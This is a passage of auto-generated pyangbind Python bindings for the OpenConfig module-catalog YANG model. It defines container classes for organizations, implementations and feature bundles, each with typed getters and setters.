'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True)""", }) self.__status = t if hasattr(self, '_set'): self._set() def _unset_status(self): self.__status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) def _get_feature_bundles(self): """ Getter method for feature_bundles, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles (container) YANG Description: Enclosing container for the list of feature bundles """ return self.__feature_bundles def _set_feature_bundles(self, v, load=False): """ Setter method for feature_bundles, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles (container) If this variable is read-only (config: false) in the source YANG file, then _set_feature_bundles is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_feature_bundles() directly. YANG Description: Enclosing container for the list of feature bundles """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """feature_bundles must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__feature_bundles = t if hasattr(self, '_set'): self._set() def _unset_feature_bundles(self): self.__feature_bundles = YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) id = __builtin__.property(_get_id, _set_id) description = __builtin__.property(_get_description, _set_description) reference = __builtin__.property(_get_reference, _set_reference) platform = __builtin__.property(_get_platform, _set_platform) platform_version = __builtin__.property(_get_platform_version, _set_platform_version) status = __builtin__.property(_get_status, _set_status) feature_bundles = __builtin__.property(_get_feature_bundles, _set_feature_bundles) _pyangbind_elements = OrderedDict([('id', id), ('description', description), ('reference', reference), ('platform', platform), ('platform_version', platform_version), ('status', status), ('feature_bundles', feature_bundles), ]) class yc_implementations_openconfig_module_catalog__organizations_organization_implementations(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/implementations. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Container for module implementation information """ __slots__ = ('_path_helper', '_extmethods', '__implementation',) _yang_name = 'implementations' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__implementation = YANGDynClass(base=YANGListType("id",yc_implementation_openconfig_module_catalog__organizations_organization_implementations_implementation, yang_name="implementation", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="implementation", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'implementations'] def _get_implementation(self): """ Getter method for implementation, mapped from YANG variable /organizations/organization/implementations/implementation (list) YANG Description: List of available implementations, keyed by an identifier provided by either the implementor or the module maintainer. Such a key avoids needing a complex composite key to uniquely identify an implementation. """ return self.__implementation def _set_implementation(self, v, load=False): """ Setter method for implementation, mapped from YANG variable /organizations/organization/implementations/implementation (list) If this variable is read-only (config: false) in the source YANG file, then _set_implementation is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_implementation() directly. YANG Description: List of available implementations, keyed by an identifier provided by either the implementor or the module maintainer. Such a key avoids needing a complex composite key to uniquely identify an implementation. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("id",yc_implementation_openconfig_module_catalog__organizations_organization_implementations_implementation, yang_name="implementation", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="implementation", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """implementation must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("id",yc_implementation_openconfig_module_catalog__organizations_organization_implementations_implementation, yang_name="implementation", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="implementation", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__implementation = t if hasattr(self, '_set'): self._set() def _unset_implementation(self): self.__implementation = YANGDynClass(base=YANGListType("id",yc_implementation_openconfig_module_catalog__organizations_organization_implementations_implementation, yang_name="implementation", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="implementation", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) implementation = __builtin__.property(_get_implementation, _set_implementation) _pyangbind_elements = OrderedDict([('implementation', implementation), ]) class yc_organization_openconfig_module_catalog__organizations_organization(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of organizations publishing YANG modules or module bundles """ __slots__ = ('_path_helper', '_extmethods', '__name','__type','__contact','__modules','__release_bundles','__feature_bundles','__implementations',) _yang_name = 'organization' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) self.__contact = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="contact", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__modules = YANGDynClass(base=yc_modules_openconfig_module_catalog__organizations_organization_modules, is_container='container', yang_name="modules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__release_bundles = YANGDynClass(base=yc_release_bundles_openconfig_module_catalog__organizations_organization_release_bundles, is_container='container', yang_name="release-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__feature_bundles = YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__implementations = YANGDynClass(base=yc_implementations_openconfig_module_catalog__organizations_organization_implementations, is_container='container', yang_name="implementations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/name (string) YANG Description: Name of the maintaining organization -- the name should be supplied in the official format used by the organization. Standards Body examples: IETF, IEEE, MEF, ONF, etc. Commercial entity examples: AT&T, Facebook, <Vendor> Name of industry forum examples: OpenConfig, OpenDaylight, ON.Lab """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/name (string) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: Name of the maintaining organization -- the name should be supplied in the official format used by the organization. Standards Body examples: IETF, IEEE, MEF, ONF, etc. Commercial entity examples: AT&T, Facebook, <Vendor> Name of industry forum examples: OpenConfig, OpenDaylight, ON.Lab """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_type(self): """ Getter method for type, mapped from YANG variable /organizations/organization/type (identityref) YANG Description: Type of the publishing organization """ return self.__type def _set_type(self, v, load=False): """ Setter method for type, mapped from YANG variable /organizations/organization/type (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_type is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_type() directly. YANG Description: Type of the publishing organization """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """type must be of a type compatible with identityref""", 'defined-type': "openconfig-module-catalog:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True)""", }) self.__type = t if hasattr(self, '_set'): self._set() def _unset_type(self): self.__type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:STANDARDS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDUSTRY': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMMERCIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:INDIVIDUAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) def _get_contact(self): """ Getter method for contact, mapped from YANG variable /organizations/organization/contact (string) YANG Description: Contact information for the publishing organization (web site, email address, etc.) """ return self.__contact def _set_contact(self, v, load=False): """ Setter method for contact, mapped from YANG variable /organizations/organization/contact (string) If this variable is read-only (config: false) in the source YANG file, then _set_contact is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_contact() directly. YANG Description: Contact information for the publishing organization (web site, email address, etc.) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="contact", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """contact must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="contact", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__contact = t if hasattr(self, '_set'): self._set() def _unset_contact(self): self.__contact = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="contact", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_modules(self): """ Getter method for modules, mapped from YANG variable /organizations/organization/modules (container) YANG Description: Modules published by this organization """ return self.__modules def _set_modules(self, v, load=False): """ Setter method for modules, mapped from YANG variable /organizations/organization/modules (container) If this variable is read-only (config: false) in the source YANG file, then _set_modules is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_modules() directly. YANG Description: Modules published by this organization """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_modules_openconfig_module_catalog__organizations_organization_modules, is_container='container', yang_name="modules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """modules must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_modules_openconfig_module_catalog__organizations_organization_modules, is_container='container', yang_name="modules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__modules = t if hasattr(self, '_set'): self._set() def _unset_modules(self): self.__modules = YANGDynClass(base=yc_modules_openconfig_module_catalog__organizations_organization_modules, is_container='container', yang_name="modules", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_release_bundles(self): """ Getter method for release_bundles, mapped from YANG variable /organizations/organization/release_bundles (container) YANG Description: List of release bundles """ return self.__release_bundles def _set_release_bundles(self, v, load=False): """ Setter method for release_bundles, mapped from YANG variable /organizations/organization/release_bundles (container) If this variable is read-only (config: false) in the source YANG file, then _set_release_bundles is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_release_bundles() directly. YANG Description: List of release bundles """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_release_bundles_openconfig_module_catalog__organizations_organization_release_bundles, is_container='container', yang_name="release-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """release_bundles must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_release_bundles_openconfig_module_catalog__organizations_organization_release_bundles, is_container='container', yang_name="release-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__release_bundles = t if hasattr(self, '_set'): self._set() def _unset_release_bundles(self): self.__release_bundles = YANGDynClass(base=yc_release_bundles_openconfig_module_catalog__organizations_organization_release_bundles, is_container='container', yang_name="release-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_feature_bundles(self): """ Getter method for feature_bundles, mapped from YANG variable /organizations/organization/feature_bundles (container) YANG Description: Enclosing container for the list of feature bundles """ return self.__feature_bundles def _set_feature_bundles(self, v, load=False): """ Setter method for feature_bundles, mapped from YANG variable /organizations/organization/feature_bundles (container) If this variable is read-only (config: false) in the source YANG file, then _set_feature_bundles is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_feature_bundles() directly. YANG Description: Enclosing container for the list of feature bundles """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """feature_bundles must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__feature_bundles = t if hasattr(self, '_set'): self._set() def _unset_feature_bundles(self): self.__feature_bundles = YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_implementations(self): """ Getter method for implementations, mapped from YANG variable /organizations/organization/implementations (container) YANG Description: Container for module implementation information """ return self.__implementations def _set_implementations(self, v, load=False): """ Setter method for implementations, mapped from YANG variable /organizations/organization/implementations (container) If this variable is read-only (config: false) in the source YANG file, then _set_implementations is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_implementations() directly. YANG Description: Container for module implementation information """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_implementations_openconfig_module_catalog__organizations_organization_implementations, is_container='container', yang_name="implementations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """implementations must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_implementations_openconfig_module_catalog__organizations_organization_implementations, is_container='container', yang_name="implementations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__implementations = t if hasattr(self, '_set'): self._set() def _unset_implementations(self): self.__implementations = YANGDynClass(base=yc_implementations_openconfig_module_catalog__organizations_organization_implementations, is_container='container', yang_name="implementations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) name = __builtin__.property(_get_name, _set_name) type = __builtin__.property(_get_type, _set_type) contact = __builtin__.property(_get_contact, _set_contact) modules = __builtin__.property(_get_modules, _set_modules) release_bundles = __builtin__.property(_get_release_bundles, _set_release_bundles) feature_bundles = __builtin__.property(_get_feature_bundles, _set_feature_bundles) implementations = __builtin__.property(_get_implementations, _set_implementations) _pyangbind_elements = OrderedDict([('name', name), ('type', type), ('contact', contact), ('modules', modules), ('release_bundles', release_bundles), ('feature_bundles', feature_bundles), ('implementations', implementations), ]) class yc_organizations_openconfig_module_catalog__organizations(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of organizations owning modules """ __slots__ = ('_path_helper', '_extmethods', '__organization',) _yang_name = 'organizations' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__organization = YANGDynClass(base=YANGListType("name",yc_organization_openconfig_module_catalog__organizations_organization, yang_name="organization", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="organization", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations'] def _get_organization(self): """ Getter method for organization, mapped from YANG variable /organizations/organization (list) YANG Description: List of organizations publishing YANG modules or module bundles """ return self.__organization def _set_organization(self, v, load=False): """ Setter method for organization, mapped from YANG variable /organizations/organization (list) If this variable is read-only (config: false) in the source YANG file, then _set_organization is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_organization() directly. YANG Description: List of organizations publishing YANG modules or module bundles """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name",yc_organization_openconfig_module_catalog__organizations_organization, yang_name="organization", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="organization", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """organization must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name",yc_organization_openconfig_module_catalog__organizations_organization, yang_name="organization", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), 